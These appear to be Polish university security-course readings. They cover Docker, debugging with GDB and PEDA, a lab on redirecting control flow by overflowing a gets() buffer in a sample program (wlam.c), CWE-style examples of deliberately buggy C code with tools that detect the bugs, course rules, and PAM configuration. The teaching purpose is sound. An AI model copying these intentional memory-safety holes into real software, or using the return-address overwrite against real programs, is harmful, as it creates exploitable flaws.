Warto też nadmienić, że chociaż początkowo korzystanie z Dockera pod Windows skazywało nas na korzystanie z systemów windowsowych wewnątrz kontenerów, a korzystanie z Linuksa z systemów linuksowych, to obecnie te ograniczenia zostały pokonane i pod Windows można korzystać z Linuksa i vice versa (choć w nieco bardziej skomplikowany sposób).
Pełna dokumentacja Dockera jest dostepna pod adresem https://docs.docker.com/get-started/overview/.
Zainstaluj dockera, pod Debianem 10 wystarczy:
apt-get install docker.io
docker pull debian:buster
docker run -i -t debian:buster bash -l
Jako ćwiczenie umieść w kontenerze pliki swojego rozwiązania zadania z tematu ACL i SUDO oraz program z obsługą PAM-a napisany na zajęciach z PAM-a. Uruchom w dokerze skrypt napisany z zadania z tematu ACL i SUDO i skompiluj program z PAM-em, a następnie uruchom skompilowany program. Odpowiedni Dockerfile prześlij na Moodle.
Korzystanie z GDB bez dodatkowych narzędzi jest dosyć kłopotliwe. Narzędzie to oferuje bardzo nieporęczny, niskopoziomowy interfejs, którego opanowanie wymaga wiele wysiłku, a po opanowaniu używanie jest pracochłonne. Dlatego powstało wiele nakładek na GDB, które wspomagają różnego rodzaju działania. Na naszych zajęciach przyjrzymy się bliżej nakładce PEDA (ang. Python Exploit Development Assistance), która jest używana do wykazywania podatności aplikacji na ataki.
Instalacja nakładki PEDA sprowadza się do ściągnięcia jej kodu z repozytorium:
# git clone https://github.com/longld/peda.git ~/peda
i wpisaniu do pliku konfiguracyjnego GDB (.gdbinit
)
kodu ładującego procedury PEDA:
# echo "source ~/peda/peda.py" >> ~/.gdbinit
Na zajęciach będziemy pracowali nad kodem następującego programu w C (plik sum.c).
#include <stdio.h> int process(int a, int len) { int ar[8]; for (int i=0; i < len; i++) ar[i]=a+i; int sum = 0; for (int i=0; i < len; i++) sum+=ar[i]; return sum; } int main(void) { int n = 10; int i = 1; int sum = 0; for(;i <=n;i++) sum+=process(i, 8); printf("\n Sum is : [%d]\n",sum); return 0; }
Dla ułatwienia naszej pracy skompilujemy go poleceniem:
# gcc -g sum.c -o sum
Możemy teraz uruchomić debugger na tak skompilowanym kodzie:
# gdb sum
Otrzymamy dłuższe powitanie, po którym pojawi się znak zachęty:
gdb-peda$
Możemy teraz uruchomić załadowany program, pisząc run
lub po prostu r
. Otrzymamy wtedy informacje o ładowaniu
otoczenia wykonywanego programu, jego wyjście oraz raport z
zamykania jego procesów:
Starting program: /home/alx/Praca/Zajecia/BSK/gdb/sum [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Sum is : [720] [Inferior 1 (process 1141169) exited normally] Warning: not running
Jednak ogromna siła GDB polega na tym, że możemy działanie programu zatrzymać we wskazanym punkcie i począwszy od tego punktu rozpocząć wykonanie programu i ewentualnie wpłynąć na jego działanie przez podmianę danych w trakcie działania programu.
Punkt zatrzymania biegu programu ustalamy, ustanawiając tzw. punkt przerwania (ang. breakpoint). Robimy to poleceniem
break <wskazanie punktu>
lub
b <wskazanie punktu>
Często pierwszą rzeczą, jaką robimy po wejściu do GDB jest napisanie:
gdb-peda$ b main
W ten sposób ustawiamy sobie punkt przerwania na pierwszej
instrukcji funkcji main
. Jak widać możemy wstawiać
symbole z tablicy symboli za punkty przerwania. W takim razie po
poprzednich zajęciach możemy mieć ochotę napisać też:
gdb-peda$ b _start
Jednak pech chce, że po załadowaniu programu z informacjami
dotyczącymi debugowania do pamięci, symbol _start
jest
niejednoznaczny, gdyż występuje on nie tylko w skompilowanym programie, ale i w dynamicznie ładowanych
bibliotekach. Dlatego bezpieczniej jest założyć punkt przerwania na
adresie wyczytanym za pomocą objdump
.
gdb-peda$ b *0x0000000000401040
Wtedy będziemy rzeczywiście mogli prześledzić wykonanie kodu spod
symbolu _start
pochodzącego z naszego programu.
Wróćmy jednak do wykonywania funkcji main
. PEDA
oferuje tutaj pewne usprawnienie, bo zamiast przechodzić przez
sekwencje ustawienia punktu przerwania na main
i
uruchomienia run
, wystarczy, że uruchomimy
polecenie
gdb-peda$ start
które automatyzuje te kroki.
Gdy już program nam się zatrzyma na początku
funkcji main
, możemy zacząć wykonywać go krok po kroku,
używając poleceń
step
(w skrócie s
) do wykonania
jednej instrukcji z granulacją określoną wierszami w kodzie
źródłowym,
stepi
(w skrócie si
) do wykonania
jednej instrukcji z granulacją wskazaną przez kod maszynowy,
next
(w skrócie n
) do wykonania
jednej instrukcji z granulacją wskazaną w kodzie źródłowym, ale
bez wchodzenia do wywołań,
nexti
(w skrócie ni
) do wykonania
jednej instrukcji z granulacją wskazaną przez kod maszynowy, ale
bez wchodzenia do wywołań.
Oczywiście wpisywanie w kółko nawet powyższych skrótów jest
niewygodne, więc warto pamiętać, że naciśnięcie klawisza przejścia
do nowego wiersza powoduje wykonanie ostatnio wpisanej instrukcji.
Dodatkowo powyższe instrukcje wykonane z parametrem liczbowym
(np. step 5
) pozwalają na wykonanie wskazanej w
parametrze liczby instrukcji. Zwykle też wygodne jest użycie
xuntil <punkt>
Po przejściu przez każdy krok wykonania GDB z nakładką PEDA wypisuje nam najważniejsze elementy kontekstu wykonania programu, są to w kolejności wyświetlania:
Zawartość rejestrów jest przedstawiana w formie ciągu wierszy, z których każdy zaczyna się nazwą rejestru, po której następuje jego aktualna wartość, a dalej, jeśli wartość da się zinterpretować jako adres w aktualnej przestrzeni adresowej procesu, to wartość, jaka znajduje się pod adresem z rejestru. Rejestr flag ($eflags) opatrzony jest dodatkowo słownym opisem tego, jakie flagi są ustawione.
Okolice właśnie wykonywanej instrukcji zawierają zapisy postaci
0x401183 <main>: push rbp 0x401184 <main+1>: mov rbp,rsp 0x401187 <main+4>: sub rsp,0x10 => 0x40118b <main+8>: mov DWORD PTR [rbp-0xc],0xa 0x401192 <main+15>: mov DWORD PTR [rbp-0x4],0x1 0x401199 <main+22>: mov DWORD PTR [rbp-0x8],0x0 0x4011a0 <main+29>: jmp 0x4011b8 <main+53> 0x4011a2 <main+31>: mov eax,DWORD PTR [rbp-0x4]
Instrukcja, która w następnym kroku ma być wykonana jest wyróżniona
za pomocą znacznika =>
. W każdym wierszu widzimy
najpierw adres instrukcji, po którym występuje symboliczne
wskazanie, jakiemu miejscu której procedury adres odpowiada
(np. <main+8>
), a następnie widzimy mnemonik instrukcji
maszynowej wraz z jego argumentami.
Trzeci blok to blok stosu wygląda tak
0000| 0x7fffffffd628 --> 0x7ffff7dc4560 (<__libc_start_call_main+128>: mov edi,eax) 0008| 0x7fffffffd630 --> 0x400040 --> 0x400000006 0016| 0x7fffffffd638 --> 0x40112a (<main>: sub rsp,0x8) 0024| 0x7fffffffd640 --> 0x1000006f0 0032| 0x7fffffffd648 --> 0x7fffffffd758 --> 0x7fffffffdb75 ("/irgendwie/irgendwo/sum") 0040| 0x7fffffffd650 --> 0x0 0048| 0x7fffffffd658 --> 0x7ea1c88705a356f0 0056| 0x7fffffffd660 --> 0x7fffffffd758 --> 0x7fffffffdb75 ("/irgendwie/irgendwo/sum")
Jego zawartość jest podobna w formie i
znaczeniu do zawartości bloku rejestrów, ale informacje zaczynają
się nie od nazwy rejestru, a od adresu na stosie. Widzimy tutaj dwa
pola - w pierwszym znajduje się wielkość przesunięcia danej pozycji
adresowej względem szczytu stosu, dalej znajduje się rzeczywisty
adres pozycji. Po adresie, za strzałką -->
znajduje się
zawartość pozycji na stosie.
Dodatkowo wszystkie adresy są pokolorowane, dzięki czemu w miarę szybko można się zorientować, do czego one prowadzą. Adresy czerwone są wskaźnikami do kodu, adresy niebieskie do danych zmienialnych, adresy zielone to adresy do danych przeznaczonych tylko do odczytu.
Gdyby przytłaczał nas nadmiar informacji ze wszystkich trzech sekcji, możemy sobie wyświetlić tylko jedną z nich za pomocą odpowiednio:
Jeśli interesuje nas kod źródłowy programu, który badamy (niestety
ta możliwość jest dostępna tylko, gdy program został skompilowany z
opcją -g
, czego się w zasadzie nie robi dla kodu
produkcyjnego), to możemy napisać
które polecenie wypisze nam fragment kodu źródłowego z okolic właśnie wykonywanej instrukcji maszynowej.
Wielkość kontekstu w razie potrzeby można regulować za pomocą parametru liczbowego, po poleceniu (po code lub stack).
Gdyby powyższe udogodnienia PEDA nam nie wystarczały, to możemy spróbować użyć podstawowego, służącego do wyświetlania danych polecenia GDB. Ma ono postać:
print <nazwa zmiennej>
Spowoduje to wypisanie zmiennej zadeklarowanej w kodzie źródłowym
zgodnie z jej typem. Można używać też formy skróconej tego polecenia
- p
, a i też jako zmiennej użyć identyfikatora
rejestru. Wreszcie można podpowiedzieć poleceniu nieco, w jakiej
formie ma wypisać wynik
p/x <nazwa zmiennej>
- wypisze wartość zmiennej
szesnastkowo,
p/d <nazwa zmiennej>
- wypisze wartość zmiennej
dziesiętnie,
p/s <nazwa zmiennej>
- wypisze wartość zmiennej
jako napis.
Jeszcze jedna forma wypisywania danych możliwa jest do uzyskania za pomocą polecenia
x /nfu <adres>
Litera x
jest tutaj skrótem od
angielskiego examine. Literki nfu reprezentują tutaj
symbolicznie różne opcjonalne parametry wypisywanej wartości:
Na przykład wypisanie 5 instrukcji, począwszy od szczytu stosu można uzyskać tak:
x /5i $rsp
Spróbujmy teraz przejść się trochę po danym nam kodzie programu. Zaczniemy od wykonania
gdb-peda$ xuntil 0x4011a0
(0x4011a0
jest podejrzanym przez nas za
pomocą objdump
adresem początka pętli). Możemy się
teraz zabawić w podmianę danych na gorąco:
gdb-peda$ set sum = 100
spowoduje, że zaczniemy sumowanie nie od zera, ale od 100, co da
nam wyraźnie inny wynik końcowy, o czym się przekonamy, prosząc GDB
o kontynuację wykonywania kodu za pomocą continue
(lub
po prostu c
).
Trochę bardziej kłopotliwe jest zmienianie wartości
zmiennych n
czy i
, gdyż te są uznawane za
skróty poleceń GDB. Dlatego dla nich lepiej jest pisać od razu
gdb-peda$ set var n = 100
Możemy się też w każdej chwili przekonać, jaka jest wartość
zmiennej sum
w danym momencie
gdb-peda$ print sum
czy zmiennej n
.
gdb-peda$ p n
lub jakiegoś rejestru
gdb-peda$ p $rcx
Ciekawy efekt uzyskamy, gdy wykonamy
gdb-peda$ xuntil 0x4011ac
(tu dostaniemy się tuż przed wywołanie process
), a
następnie zmienimy zawartość rejestru odpowiadającego za drugi
argument wywołania:
gdb-peda$ set $esi = 13
Gdy liczbę 13 zamienimy na 14, efekt będzie jeszcze ciekawszy.
Uruchommy nasz program od początku poleceniem start
.
Ważnym narzędziem pozwalającym na stosunkowo szybkie trafienie w miejsce przetwarzania programu, jakie nas interesuje, jest wyszukanie jakiegoś napisu, który nam się pojawia w interfejsie użytkownika. W naszym przykładowym programie moglibyśmy poszukać napisu "Sum". Można to zrobić za pomocą:
gdb-peda$ searchmem "Sum"
Uzyskamy wtedy mniej więcej taki wynik:
Searching for 'Sum' in: None ranges Found 2 results, display max 2 items: sum : 0x402012 ("Sum is : [%d]\n") sum : 0x403012 ("Sum is : [%d]\n")
Poszukiwanie to może być znacznie bardziej skomplikowane i poszukiwane mogą być wystąpienia pasujące do wyrażenia regularnego, a także może ono być ograniczone tylko do jakichś obszarów (np. możemy szukać jakiegoś wzorca w kodzie biblioteki dzielonej).
Jak już znajdziemy interesujący nas napis, to możemy poprosić GDB, aby zatrzymało się przy próbie odwołania do tego adresu:
rwatch *0x402013
(niekoniecznie musi to być początek znalezionego regionu). Gdy
teraz uruchomimy wykonanie za pomocą c
, nasz program
zatrzyma się w jakimś miejscu. Polecenie bt
wyświetli
nam stos wywołanych do tej pory funkcji. Dzięki temu możemy się
zorientować, jakie wywołanie biblioteczne powoduje odwołanie do tego
naszego adresu (ta wiedza jest bardzo nieoczywista, gdy nie mamy do
dyspozycji kodu źródłowego programu). W naszym wyniku zobaczymy, że
jesteśmy gdzieś w środku wywołania
funkcji __printf
. Możemy teraz kilka razy użyć
polecenia finish
, aby wyjść z wywołania tej
funkcji. Wtedy zaś możemy za pomocą odpowiedniego
polecenia context
rozejrzeć się, co doprowadziło do
wypisania danego napisu.
Jeszcze raz wystartujmy nasz program od początku. Następnie po
uruchomieniu za pomocą start
ustawmy punkt zatrzymania
programu na funkcji process
i puśćmy działanie
programu do momentu trafienia na tę funkcję.
Po przyjrzeniu się stosowi możemy zauważyć, że adres powrotu z
procedury process
znajduje się tam pod
adresem 0x7fffffffd5f8
. Spróbujmy pod ten adres wpisać
jakąś inną wartość:
gdb-peda$ set *0x7fffffffd5f8=0
Jeśli teraz poprosimy GDB o kontynuację działania programu
(c
), to okaże się, że program zakończy działanie na
SIGSEGV. To jest łatwe do wytłumaczenia, bo przecież kazaliśmy mu
skoczyć pod adres zerowy. Może ciekawsze jednak będzie, jeśli przed
wykonaniem polecenia set
nieco lepiej dobierzemy adres
powrotu. Spróbujmy za pomocą
gdb-peda$ p _exit
dowiedzieć się, pod jakim adresem znajduje się
funkcja _exit
(uwaga: koniecznie z podkreśleniem na
początku) i wpisać na stosie zamiast adresu powrotu
z process
właśnie ten adres:
set *(int64_t*)0x7fffffffd5f8=0x7ffff7e67520
(tutaj trochę staranności wymaga to, żeby pod wskazany adres trafiła wartość 64-bitowa, a nie 32-bitowa, powyższa forma zagwarantuje nam właśnie takie działanie).
Okazuje się, że tym razem funkcja wychodzi całkiem zgrabnie, bez niepotrzebnego alarmu w postaci błędu segmentacji.
Rozważmy program
#include <stdio.h> #include <stdlib.h> void bad_function(void) { char buff[4]; printf("Podaj mi jakiś napis:"); gets(buff); printf("Jestem bezpieczny, bufor zawiera: %s\n", buff); } void root_me(void) { printf("Ha, ha, mam Cię!!!\n"); } int main() { bad_function(); exit(0); }
Skompiluj plik wlam.c
z powyższym kodem za pomocą polecenia:
gcc -g wlam.c -o wlam
Dla uzyskanego pliku wykonywalnego wykonaj następujące czynności:
root_me
po załadowaniu do pamięci.
bad_function
.
# echo "odpowiedni napis" | ./wlam
exit
, przyda się też lektura podręcznika man dla polecenia echo).
Załącznik | Wielkość |
---|---|
sum.c | 349 bajtów |
wlam.c | 296 bajtów |
Jednym z najważniejszych pierwotnych źródeł problemów z bezpieczeństwem oprogramowania są błędy programistyczne. Organizacja o nazwie Common Weakness Enumeration zajmuje się śledzeniem wszelkiego rodzaju błędów programistycznych prowadzących do luk w bezpieczeństwie oraz promowaniem technik pozwalających ich uniknąć. Dodatkowo fundacja Open Web Application Security Project zajmuje się śledzeniem błędów występujących w aplikacjach WWW.
Organizacje te publikują swoje rankingi błędów powodujących najgroźniejsze luki w bezpieczeństwie:
Warto się im przyjrzeć.
Warto regularnie przeglądać, aby doskonalić swój warsztat programistyczny.
W związku z tym, że błędy przepełnienia bufora należą do najpoważniejszych, skupimy się nieco właśnie nad nimi.
Przyjrzyjmy się dokładniej jednemu z najczęściej pojawiających się błędów prowadzących do luk w bezpieczeństwie. Powaga tego błędu wynika szczególnie z faktu, że może on doprowadzić do nadpisania adresu powrotu z procedury, a to z kolei do wykonania kodu, który został wstawiony do programu jako dane.
Oto kilka przykładów kodu prowadzącego do luk w bezpieczeństwie (zainspirowane materiałami z CWE oraz SEI CERT).
Pierwszy przykład to rzecz, która zdarza się w zasadzie jedynie nowicjuszom, ale też po wielu godzinach pracy i doświadczonemu programiście uda się taki błąd popełnić.
float grades[2]; /* Populate the array with initial grades. */ grades[0] = 1.0; grades[1] = 2.0; grades[2] = 3.5;
Tablica zadeklarowana jako dwuelementowa nie zmieści w swoim zakresie trzech elementów. W związku z tym, że tablice w C są indeksowane od 0, mamy nieintuicyjną sytuację, że indeks widoczny w deklaracji tablicy nie jest dostępny. Tego rodzaju błędy można wyłapać następującymi narzędziami:
cppcheck --enable=all <nazwa_pliku>.c
clang -Warray-bounds <nazwa_pliku>.c
#include <stdlib.h> #include <string.h> int recordSize(void * p) { int i = 0; for (i=0; i < 100;i++) { if (*((char*)p+i) == 0) return i+1; } return -1; } int main() { ... memcpy(destBuf, srcBuf, (recordSize(destBuf)-1)); ... }
Funkcja obliczająca długość bufora może dać w wyniku sygnał błędu (-1), który powinien być jawnie sprawdzany. Brak sprawdzenia może spowodować, że zainicjowane zostanie kopiowanie bardzo dużej ilości danych. Tego rodzaju błędy można wyłapać narzędziami, które sprawdzają zgodność typów w sposób ścisły:
gcc -Wconversion <nazwa_pliku>.c
clang -Wconversion <nazwa_pliku>.c
#include <stdlib.h> #include <string.h> #include <stddef.h> char * transform(char *input_string, size_t len){ int i, j; char *buf = (char*)malloc(3*sizeof(char) * len + 1); if (buf==NULL) return NULL; j = 0; for ( i = 0; i < strlen(input_string); i++ ){ if( '&' == input_string[i] ){ buf[j++] = '&'; buf[j++] = 'l'; buf[j++] = 't'; buf[j++] = ';'; } else buf[j++] = input_string[i]; } return buf; }
W tym kodzie błąd polega na tym, że zaalokowana przestrzeń może nie być wystarczająca, ponieważ znak '&'
jest zamieniany na cztery znaki, ale przy alokacji jest używany mnożnik 3 – duża liczba znaków '&'
spowoduje przekroczenie zakresu zaalokowanej pamięci.
Błędy takie, jak w Przykładzie 3 można wykrywać za pomocą narzędzi takich jak ElectricFence. Narzędzie to działa w ramach testowania działającego programu zawierającego błędny kod. W trakcie działania programu podmieniany jest alokator pamięci tak, że dynamicznie alokowane bufory są umieszczane tak, iż koniec (lub początek) bufora wypada na końcu strony, zaś strona jest ulokowana tak, że następna strona nie jest przydzielona do procesu. Dzięki temu każde wyjście poza zakres bufora kończy się błędem segmentacji.
Badanie, czy występuje tego typu problem wykonujemy za pomocą pakietu ElectricFence przez wywołanie polecenia:
ef <nazwa programu> <parametry wywołania>
gdzie <nazwa programu>
to nazwa programu ze skompilowanym kodem z parametrami tak dobranymi, aby doprowadzić do wykonania wadliwego kodu.
O wpisach poza zarezerwowany bufor ostrzeże nas też program valgrind
, gdy go wywołamy tak:
valgrind <nazwa programu> <parametry wywołania>
Działa on na podobnej zasadzie, co ElectriFence, ale do wykrywania błędów wykorzystuje nie alokowanie na granicy strony, a zapisywanie na brzegach bufora specjalnych wartości zwanych kanarkami. Powyższe wywołanie da m.in taki wynik
... ==81332== Invalid write of size 1 ==81332== at 0x4011AF: transform (in /somewhere/compiled_code) ==81332== by 0x401265: main (in /somewhere/compiled_code) ==81332== Address 0x4a81060 is 1 bytes after a block of size 31 alloc'd ==81332== at 0x484186F: malloc (vg_replace_malloc.c:381) ==81332== by 0x40115F: transform (in /somewhere/compiled_code) ==81332== by 0x401265: main (in /somewhere/compiled_code) ...
#include <stdlib.h> #include <string.h> void provide_name(char *); char* give_name(){ char name[64]; provide_name(name); if (name[0] == '.') return NULL; char* res = (char*)malloc(64); if (res==NULL) return NULL; strcpy(name, res); return res; }
Tutaj funkcja give_name
pobiera z funkcji provide_name
nazwę name
, ale nigdzie nie jest sprawdzane, czy uzyskany wynik mieści się w 64 bajtach. Funkcja provide_name
może w trakcie swojego wykonania spowodować nadpisanie adresu powrotu z funkcji give_name
.
Tutaj problem można wykryć za pomocą techniki kanarków. Obecnie jest ona bez problemu wspierana przez współczesne kompilatory. Wystarczy skompilować program tak:
gcc -fstack-protector <nazwa_pliku>.c
clang -fstack-protector <nazwa_pliku>.c
a następnie go uruchomić. Jeśli nastąpi przekroczenie zakresu bufora dostępnego na stosie (name
), to przy wychodzeniu z funkcji (give_name
) mechanizm wykonawczy sprawdzi, że naruszona została zawartość specjalnie spreparowanych kilku bajtów umieszczonych między buforem a adresem powrotu z procedury. Program zakończy się w tym momencie błędem segmentacji poprzedzonym komunikatem w stylu:
*** stack smashing detected ***: terminated
Warto przyjrzeć się dokumentacji gcc, żeby zobaczyć, jak można wpłynąć na zawartość wspomnianego kanarka.
Nota bene powyższy kod to przykład źle zaprojektowanego interfejsu programistycznego, bo skąd niby funkcja provide_name
ma się w swojej treści dowiedzieć, jakiej wielkości bufor może wypełnić danymi?
#include <string.h> #include <stdio.h> void truncend(char *input_string){ int i = strlen(input_string); while (input_string[--i] != ';'); input_string[i+1] = 0; } int main() { char a[30]; strcpy(a,";ala ma kota"); truncend(a+2); printf("%s\n", a); }
W kodzie tym, jeśli założymy, że bufor input_string
jest prawidłowym napisem zaterminowanym znakiem o kodzie 0, znajduje się błąd polegający na tym, że można wyjść poza bufor wejściowy na jego początku.
Znaleźć błąd w tym kodzie pomoże nam program frama-c. Wywołanie:
frama-c -eva -eva-precision 1 <nazwa programu>.c
da między innymi taki wynik:
[eva:final-states] Values at end of function truncend: i ∈ {-2; -1; 0; 1; 2; 3; 4; 5; 6; 7; 8; 9} a[0..12] ∈ [--..--] or UNINITIALIZED [13..29] ∈ UNINITIALIZED [eva:final-states] Values at end of function main: a[0..12] ∈ [--..--] or UNINITIALIZED [13..29] ∈ UNINITIALIZED __retres ∈ {0} S___fc_stdout[0..1] ∈ [--..--]
Łatwo wyczytamy z niego, że niespodziewanie zmienna i
może tutaj przyjąć wartości ujemne.
#include <sys/socket.h> #include <netinet/in.h> #define MAX_NO_ADDR 100 size_t get_no_addresses(); int main() { size_t no_addr; int i; no_addr = get_no_addresses(); if ((no_addr == 0) || (no_addr > MAX_NO_ADDR)) { exit(-1); } in_addr_t *addrs = (in_addr_t *)malloc(no_addr * sizeof(in_addr_t)); for(i=0; i<no_addr; i++) { addrs[i] = 0xFFFFFFFF; } addrs[no_addr] = 0; }
Tutaj w intencji tablica addrs
ma być wypełniona niezerowymi adresami internetowymi, a zerowy adres ma oznaczać koniec tablicy. Błąd polega na tym, że alokacja uwzględnia miejsce na właściwe adresy, ale nie uwzględnia miejsca na terminujący adres zerowy.
W tym i następnym przykładzie zachęcamy Państwa do spróbowania znalezienia błędu za pomocą narzędzi samemu.
int main() { ... scanf("%d", &srcBuf); strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024); ... }
Tutaj problematyczne jest użycie funkcji find
, która może dać w wyniku -1, gdy znak ch
nie występuje w buforze srcBuf
. Dodatkowo, jeśli na wartość wskaźnika w srcBuf
może wpływać użytkownik, to uzyskuje on narzędzie do wstawienia dowolnej wartości pod adres destBuf
.
Oprócz list groźnych błędów wspomniane organizacje publikują także poradniki dotyczące zasad dobrego kodowania:
To ostatnie źródło nie pochodzi od omawianych tutaj organizacji, ale jest najbogatszym źródłem porad, które też zawiera informacje, jakie narzędzia wspomagają unikanie poszczególnych rodzajów błędów. Dodatkowo źródło to jest bezpłatne.
Znajdź za pomocą opisanych powyżej narzędzi trzy błędy związane z operacjami na pamięci w kodzie załączonego pliku blad.c
(błędy związane z typami całkowitoliczbowymi się nie liczą). Wywołania, które wskazują na błąd, oraz wypisywane przez nich komunikaty zapisz w pliku tekstowym i wyślij go za pomocą Moodle. Uwaga: znalezione błędy niekoniecznie muszą należeć do omówionych powyżej.
#include <string.h> #include <stdio.h> #include <stdlib.h> #define ERROR '@' int palindrome_with_error(char* buf, size_t size) { char* tmp; size_t len; size_t i; buf[size] = '\0'; tmp = (char*) malloc(size); if (tmp==NULL) return -1; len = strlen(buf); for (i = len; i>=0; i--) { if (buf[i] == ERROR) return -1; tmp[len-i]=buf[i]; } int res = strcmp(buf, tmp); free(tmp); return res; } int main() { char a[10]; strcpy(a, "aba"); if (palindrome_with_error(a, 3)) printf( "OK\n"); }
Na infrastrukturę komputerową banku Green Forest Bank nastąpił atak włamywaczy. Atak spowodował wyciek informacji o klientach firmy oraz poważne uszkodzenie danych finansowych, co grozi nieobliczalnymi skutkami. Firma już podnosi się z kryzysu. Częścią planu uzdrowienia sytuacji jest wdrożenie nowych zasad bezpieczeństwa. Waszym zadaniem jest wprowadzenie części rozwiązań określonych w zasadach bezpieczeństwa w życie.
Dostaliście zadanie, aby wdrożyć procedury bezpieczeństwa w następującym zakresie:
Zadanie 1. będzie rozwijane przez Was przez cały semestr. Zadania 2-7 będziecie opracowywać na laboratoriach w 6 blokach po 2 zajęcia z treściami merytorycznymi. Za każde z 7 zadań będzie można dostać do 4 punktów. Zatem łącznie w trakcie semestru można dostać do 28 punktów. Uzyskanie 14 lub mniej punktów oznacza brak dopuszczenia do pierwszego terminu egzaminu (do drugiego terminu dopuszczeni są wszyscy). W ostatnim tygodniu zajęć będzie można poprawić zaliczenie jednego z tych bloków.
Szanowni Państwo stawiamy na Waszą samodzielność w uczeniu się. Czytanki, jakie będziecie studiować to daleko nie cała wiedza, jaką musicie opanować na laboratorium. Starajcie się zawsze pogłębiać ich treść samodzielnie przez dodatkowe studiowanie stron man, info oraz dokumentacji narzędzi, z jakich korzystacie.
Bloki dwóch zajęć laboratoryjnych z treściami merytorycznymi będą miały następującą postać:
Zadania zaliczeniowe z każdych zajęć można zabrać do domu i tam je dokończyć.
Punkty za aktywność na wykładzie będą przydzielane tak:
Po wykonaniu wszystkich tych zadań dostaniecie przywilej, pozwalający na przystąpienie do egzaminu na adepta sztuki cyberbezpieczeństwa. Za egzamin będzie można dostać do 28 punktów.
Punkty z laboratorium liczą się do oceny także w drugim terminie egzaminu, zatem uzyskanie pozytywnej oceny nawet w drugim terminie bez systematycznej pracy podczas semestru jest niemożliwe.
Egzamin zerowy: po zdobyciu 28 punktów z laboratoriów przy zarejestrowanej aktywności na wykładzie.
Przy okazji tych działań poznacie:
Materiały do zajęć znajdują się na stronach:
Cel: umożliwienie elastycznej kontroli dostępu do systemu i programów przez wprowadzenie możliwości definiowania własnych modułów dostępu.
Rozwiązanie: ładowalne moduły autoryzacji (Pluggable Authorization Modules, PAM), popularnie zwane wtyczkami, zawierające specjalizowane procedury związane z bezpieczeństwem, np. procedury identyfikacji oparte o RIPEMD-160, SHA3 czy linie papilarne, ale też nakładanie dodatkowych ograniczeń (np. na liczbę jednoczesnych loginów).
Dla danej aplikacji administrator ustala (plikiem konfiguracyjnym), które z nich i jak mają być użyte.
Wprowadzenie procedur obsługiwanych za pomocą PAM wymaga działań na 3 poziomach:
1. Programista aplikacji:
umieszcza w programie (np. /bin/login) odpowiednie wywołania funkcji dla ładowalnych modułów autoryzacji (no i linkuje program z odpowiednią biblioteką).
2. Programista modułów:
pisze ładowalne moduły autoryzacji zawierające specjalizowane metody identyfikacji (np. RIPEMD-160, SHA3, linie papilarne), które będą używane w aplikacjach.
3. Administrator:
instaluje i modyfikuje pliki konfiguracyjne dla aplikacji i modułów autoryzacji (i zapewne także instaluje moduły w systemie).
Na co dzień najbardziej istotny jest poziom 3.
Struktura systemu PAM dzieli się na 4 w miarę niezależne grupy zarządzania (zwane też typami):
- auth: zarządzanie identyfikacją (jak rozpoznajemy, o którego użytkownika chodzi), uwierzytelnieniem czyli autentyfikacją (jak rozpoznajemy, że dany faktyczny podmiot odpowiada podmiotowi zarejestrowanemu w systemie) oraz podstawowymi formami autoryzacji (jakie podmiot ma prawa do działania w systemie),
- account: zarządzanie kontami i bardziej zaawansowaną autoryzacją: określanie, czy użytkownik ma prawo dostępu do danej usługi, czy może zalogować się o danej porze dnia itp.
- session: zarządzanie sesjami (np. limity),
- password: zarządzanie aktualizacją żetonów identyfikujących (np. haseł).
Niektóre programy, np. login, potrzebują usług z wszystkich czterech grup. Inne, takie jak passwd, mogą korzystać tylko z wybranych grup.
Każda aplikacja chcąca używać PAM ma plik konfiguracyjny zawierający listę modułów dla procesu uwierzytelniania. Nazwa pliku nie musi być zgodna z nazwą aplikacji, często na początek używa się „cudzych”, sprawdzonych plików.
Pliki te znajdują się w katalogu /etc/pam.d (w starych wersjach mógł być jeden wspólny plik /etc/pam.conf, obecnie jest on używany tylko gdy brak katalogu /etc/pam.d), na przykład dla /bin/login plikiem tym będzie /etc/pam.d/login.
Plik konfiguracyjny o nazwie other zawiera wartości domyślne (zwykle zabrania wszystkiego). Są w nim tylko odwołania do modułu pam_deny, ewentualnie poprzedzone przez odwołaniami do pam_warn. Tego pliku używa się (również jako początkowego szablonu) dla services bez własnych plików konfiguracyjnych (oczywiście, gdy używają PAM).
Moduł pam_deny po prostu odmawia dostępu (zawsze zwraca niepowodzenie).
Moduł pam_warn rejestruje w syslogu informacje o wykonywanej operacji.
Inny popularny plik używany powszechnie to login.
Wpisy w plikach konfiguracyjnych mają postać:
<grupa> <kategoria> <moduł> [<argumenty>]
np.
auth required pam_securetty.so auth required pam_unix.so
gdzie <kategoria>
to jedna z wartości:
- requisite - niepowodzenie natychmiast wraca do aplikacji z błędem,
- required - każdy taki moduł musi zwrócić sukces,
- sufficient - sukces takiego modułu i wszystkich jego poprzedników, powoduje zwrócenie sukcesu do aplikacji (niepowodzenie jest ignorowane),
- optional - „ozdobnik” bez wpływu na sukces lub niepowodzenie, ale dający możliwość rejestracji działań czy debuggowania plików konfiguracyjnych
albo „pseudokategoria”:
- include,
- substack.
Uwaga: dawniej zamiast pseudokategorii był moduł pam_stack.so --- powodował
dołączenie list z innego podanego pliku (zwykle system-auth). Można natknąć
się na takie przykłady w Internecie.
Często pojawia się pytanie, po co jest kategoria required, skoro istnieje kategoria requisite (i na odwrót)? Kategoria requisite może się przydać, np. gdy nasza polityka bezpieczeństwa każe ukrywać przed potencjalnym atakującym dalsze etapy sprawdzania autentyczności. Z kolei kategoria required może się przydać, np. gdy polityka bezpieczeństwa pozwala na przejście przez wszystkie etapy autentyfikacji, ale nakazuje, aby ukrywać przed potencjalnym atakującym, jakie kroki autentyfikacji skończyły się niepowodzeniem. Przydaje się ona również do zarejestrowania w logach systemowych wyniku działania operacji autentyfikacyjnej, który jest dostępny właśnie po jej wykonaniu.
Ostatnio w PAM wprowadzono kategorie złożone, zapisywane w nawiasach
kwadratowych. Pozwalają uzależnić wybór akcji od konkretnej wartości
zwróconej przez moduł (a nie tylko sukces/porażka). Nie będziemy ich
używać, ale mogą wystąpić w plikach, które będziecie podglądali.
Poszczególne moduły ładowane są kolejno, wiele z nich ma dodatkowe pliki konfiguracyjne zawarte w katalogu /etc/security.
Modułów PAM jest wiele, są one typu open-source, więc można je samodzielnie modyfikować. Można też pisać własne. Technicznie moduł to biblioteka ładowalna dynamicznie przez nazwę (wywołaniem dlopen()).
Trzyma się je zwyczajowo w jakimś katalogu security, np.
/lib/security
